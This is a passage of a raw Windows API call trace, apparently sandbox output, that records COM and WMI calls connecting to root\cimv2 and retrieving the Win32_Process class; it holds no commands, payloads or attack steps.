WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0124.805] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d478 | out: ppv=0x1b30d478*=0x6124e8) returned 0x0 [0124.805] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d468 | out: pAptType=0x1b30d468*=1) returned 0x0 [0124.805] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d470 | out: ppvObject=0x1b30d470*=0x0) returned 0x80004002 [0124.805] IUnknown:Release (This=0x6124e8) returned 0x1 [0124.806] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c868 | out: ppv=0x1b30c868*=0x1b4d2e00) returned 0x0 [0124.806] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2e00, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c950 | out: ppvObject=0x1b30c950*=0x0) returned 0x80004002 [0124.806] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2e00, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c928 | out: ppvObject=0x1b30c928*=0x655a30) returned 0x0 [0124.806] WbemDefPath:IUnknown:Release (This=0x1b4d2e00) returned 0x0 [0124.806] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6d0 | out: ppvObject=0x1b30c6d0*=0x655a30) returned 0x0 [0124.806] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x0) returned 0x80004002 [0124.806] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf58 | out: ppvObject=0x1b30bf58*=0x0) returned 0x80004002 [0124.806] WbemDefPath:IUnknown:AddRef (This=0x655a30) returned 0x3 [0124.806] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be18 | out: ppvObject=0x1b30be18*=0x0) returned 0x80004002 [0124.806] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bda0 | out: ppvObject=0x1b30bda0*=0x0) returned 0x80004002 [0124.806] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd90 | out: ppvObject=0x1b30bd90*=0x1b4d26c0) returned 0x0 [0124.806] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d26c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bdb8 | out: pCid=0x1b30bdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0124.806] WbemDefPath:IUnknown:Release (This=0x1b4d26c0) returned 0x3 [0124.806] CoGetContextToken (in: pToken=0x1b30be40 | out: pToken=0x1b30be40) returned 0x0 [0124.806] CoGetContextToken (in: pToken=0x1b30c2c0 | out: pToken=0x1b30c2c0) returned 0x0 [0124.806] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c380 | out: ppvObject=0x1b30c380*=0x0) returned 0x80004002 [0124.806] WbemDefPath:IUnknown:Release (This=0x655a30) returned 0x2 [0124.807] WbemDefPath:IUnknown:Release (This=0x655a30) returned 0x1 [0124.807] CoGetContextToken (in: pToken=0x1b30d0b0 | out: pToken=0x1b30d0b0) returned 0x0 [0124.807] CoGetContextToken (in: pToken=0x1b30cfb0 | out: pToken=0x1b30cfb0) returned 0x0 [0124.807] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x1b30d110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d0e0 | out: ppvObject=0x1b30d0e0*=0x655a30) returned 0x0 [0124.807] WbemDefPath:IUnknown:AddRef (This=0x655a30) returned 0x3 [0124.807] WbemDefPath:IUnknown:Release (This=0x655a30) returned 0x2 [0124.807] WbemDefPath:IWbemPath:SetText (This=0x655a30, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0124.807] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655a30, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0124.807] WbemDefPath:IWbemPath:GetText (in: This=0x655a30, lFlags=4, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0124.807] WbemDefPath:IWbemPath:GetText (in: This=0x655a30, lFlags=4, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0124.807] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0124.807] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0124.807] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0124.807] IUnknown:Release (This=0x6124e8) returned 0x1 [0124.807] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cbc8 | out: ppv=0x1b30cbc8*=0x1b48ac10) returned 0x0 [0124.808] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48ac10, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ccb0 | out: ppvObject=0x1b30ccb0*=0x0) returned 0x80004002 [0124.808] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b48ac10, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc88 | out: ppvObject=0x1b30cc88*=0x1b48ae90) returned 0x0 [0124.808] WbemLocator:IUnknown:Release (This=0x1b48ac10) returned 0x0 [0124.808] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48ae90, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca30 | out: ppvObject=0x1b30ca30*=0x1b48ae90) returned 0x0 [0124.808] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48ae90, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x0) returned 0x80004002 [0124.808] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48ae90, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c2b8 | out: ppvObject=0x1b30c2b8*=0x0) returned 0x80004002 [0124.808] WbemLocator:IUnknown:AddRef (This=0x1b48ae90) returned 0x3 [0124.808] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48ae90, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c178 | out: ppvObject=0x1b30c178*=0x0) returned 0x80004002 [0124.808] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48ae90, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c100 | out: ppvObject=0x1b30c100*=0x0) returned 0x80004002 [0124.808] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48ae90, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0f0 | out: ppvObject=0x1b30c0f0*=0x0) returned 0x80004002 [0124.808] CoGetContextToken (in: pToken=0x1b30c1a0 | out: pToken=0x1b30c1a0) returned 0x0 [0124.808] CoGetContextToken (in: pToken=0x1b30c620 | out: pToken=0x1b30c620) returned 0x0 [0124.808] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48ae90, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6e0 | out: ppvObject=0x1b30c6e0*=0x0) returned 0x80004002 [0124.808] WbemLocator:IUnknown:Release (This=0x1b48ae90) returned 0x2 [0124.808] WbemLocator:IUnknown:Release (This=0x1b48ae90) returned 0x1 [0124.808] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0124.808] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0124.808] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48ae90, riid=0x1b30d0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b48ae90) returned 0x0 [0124.809] WbemLocator:IUnknown:AddRef (This=0x1b48ae90) returned 0x3 [0124.809] WbemLocator:IUnknown:Release (This=0x1b48ae90) returned 0x2 [0124.809] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655a30, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0124.809] WbemDefPath:IWbemPath:GetText (in: This=0x655a30, lFlags=8, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0124.809] WbemDefPath:IWbemPath:GetText (in: This=0x655a30, lFlags=8, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0124.911] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d100 | out: ppv=0x1b30d100*=0x1b48ab10) returned 0x0 [0124.911] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b48ab10, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d348 | out: ppNamespace=0x1b30d348*=0x1b4cfb50) returned 0x0 [0125.211] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cfb50, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf78 | out: ppvObject=0x1b30cf78*=0x1b5111f0) returned 0x0 [0125.211] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b5111f0, pProxy=0x1b4cfb50, pAuthnSvc=0x1b30d040, pAuthzSvc=0x1b30cfc0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4, pImpLevel=0x1b30cfd0, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4 | out: pAuthnSvc=0x1b30d040*=0xa, pAuthzSvc=0x1b30cfc0*=0x0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4*=0x6, pImpLevel=0x1b30cfd0*=0x2, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4*=0x1) returned 0x0 [0125.211] WbemLocator:IUnknown:Release (This=0x1b5111f0) returned 0x1 [0125.211] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cfb50, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf10 | out: ppvObject=0x1b30cf10*=0x1b511238) returned 0x0 [0125.211] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cfb50, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf20 | out: ppvObject=0x1b30cf20*=0x1b5111f0) returned 0x0 [0125.211] WbemLocator:IClientSecurity:SetBlanket (This=0x1b5111f0, pProxy=0x1b4cfb50, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0125.211] WbemLocator:IUnknown:Release (This=0x1b5111f0) returned 0x2 [0125.211] WbemLocator:IUnknown:Release (This=0x1b511238) returned 0x1 [0125.211] CoTaskMemFree (pv=0x1b462210) [0125.211] WbemLocator:IUnknown:Release (This=0x1b48ab10) returned 0x0 [0125.211] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cfb50, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca10 | out: ppvObject=0x1b30ca10*=0x1b511238) returned 0x0 [0125.212] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511238, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x0) returned 0x80004002 [0125.216] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511238, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x0) returned 0x80004002 [0125.244] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cfb50, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c298 | out: ppvObject=0x1b30c298*=0x0) returned 0x80004002 [0125.259] WbemLocator:IUnknown:AddRef (This=0x1b511238) returned 0x3 [0125.259] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511238, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c158 | out: ppvObject=0x1b30c158*=0x0) returned 0x80004002 [0125.259] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511238, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c0e0 | out: ppvObject=0x1b30c0e0*=0x0) returned 0x80004002 [0125.259] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511238, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0d0 | out: ppvObject=0x1b30c0d0*=0x1b511118) returned 0x0 [0125.259] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b511118, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c0f8 | out: pCid=0x1b30c0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0125.259] WbemLocator:IUnknown:Release (This=0x1b511118) returned 0x3 [0125.259] CoGetContextToken (in: pToken=0x1b30c180 | out: pToken=0x1b30c180) returned 0x0 [0125.260] CoGetContextToken (in: pToken=0x1b30c600 | out: pToken=0x1b30c600) returned 0x0 [0125.260] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511238, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x1b511200) returned 0x0 [0125.260] WbemLocator:IRpcOptions:Query (in: This=0x1b511200, pPrx=0x1b511238, dwProperty=2, pdwValue=0x1b30c6b0 | out: pdwValue=0x1b30c6b0) returned 0x80004002 [0125.260] WbemLocator:IUnknown:Release (This=0x1b511200) returned 0x3 [0125.260] WbemLocator:IUnknown:Release (This=0x1b511238) returned 0x2 [0125.260] CoGetContextToken (in: pToken=0x1b30ccc0 | out: pToken=0x1b30ccc0) returned 0x0 [0125.260] CoGetContextToken (in: pToken=0x1b30cbc0 | out: pToken=0x1b30cbc0) returned 0x0 [0125.260] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511238, riid=0x1b30cd20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30ccf0 | out: ppvObject=0x1b30ccf0*=0x1b4cfb50) returned 0x0 [0125.260] WbemLocator:IUnknown:AddRef (This=0x1b4cfb50) returned 0x4 [0125.260] WbemLocator:IUnknown:Release (This=0x1b4cfb50) returned 0x3 [0125.260] WbemLocator:IUnknown:Release (This=0x1b4cfb50) returned 0x2 [0125.260] SysStringLen (param_1=0x0) returned 0x0 [0125.260] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655a30, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0125.260] WbemDefPath:IWbemPath:GetText (in: This=0x655a30, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0125.260] WbemDefPath:IWbemPath:GetText (in: This=0x655a30, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0125.260] CoGetContextToken (in: pToken=0x1b30cde0 | out: pToken=0x1b30cde0) returned 0x0 [0125.260] WbemLocator:IUnknown:AddRef (This=0x1b511238) returned 0x3 [0125.260] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511238, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cde0 | out: ppvObject=0x1b30cde0*=0x1b511238) returned 0x0 [0125.260] WbemLocator:IUnknown:Release (This=0x1b511238) returned 0x3 [0125.260] WbemLocator:IUnknown:Release (This=0x1b511238) returned 0x2 [0125.261] WbemDefPath:IWbemPath:GetText (in: This=0x6554f0, lFlags=2, puBuffLength=0x1b30d4e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4e0*=0xe, pszText=0x0) returned 0x0 [0125.261] WbemDefPath:IWbemPath:GetText (in: This=0x6554f0, lFlags=2, puBuffLength=0x1b30d4e0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d4e0*=0xe, pszText="Win32_Process") returned 0x0 [0125.261] IWbemServices:GetObject (in: This=0x1b4cfb50, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d460*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d460*=0x1b4d9b60, ppCallResult=0x0) returned 0x0 [0125.269] IWbemClassObject:Get (in: This=0x1b4d9b60, wszName="__PATH", lFlags=0, pVal=0x1b30d3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d558*=0, plFlavor=0x1b30d550*=0 | out: pVal=0x1b30d3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b30d558*=8, plFlavor=0x1b30d550*=64) returned 0x0 [0125.269] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0125.269] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0125.269] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d428 | out: ppv=0x1b30d428*=0x6124e8) returned 0x0 [0125.269] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d418 | out: pAptType=0x1b30d418*=1) returned 0x0 [0125.269] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d420 | out: ppvObject=0x1b30d420*=0x0) returned 0x80004002 [0125.269] IUnknown:Release (This=0x6124e8) returned 0x1 [0125.270] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c818 | out: ppv=0x1b30c818*=0x1b48ac30) returned 0x0 [0125.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48ac30, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c900 | out: ppvObject=0x1b30c900*=0x0) returned 0x80004002 [0125.270] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48ac30, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8d8 | out: ppvObject=0x1b30c8d8*=0x655af0) returned 0x0 [0125.270] WbemDefPath:IUnknown:Release (This=0x1b48ac30) 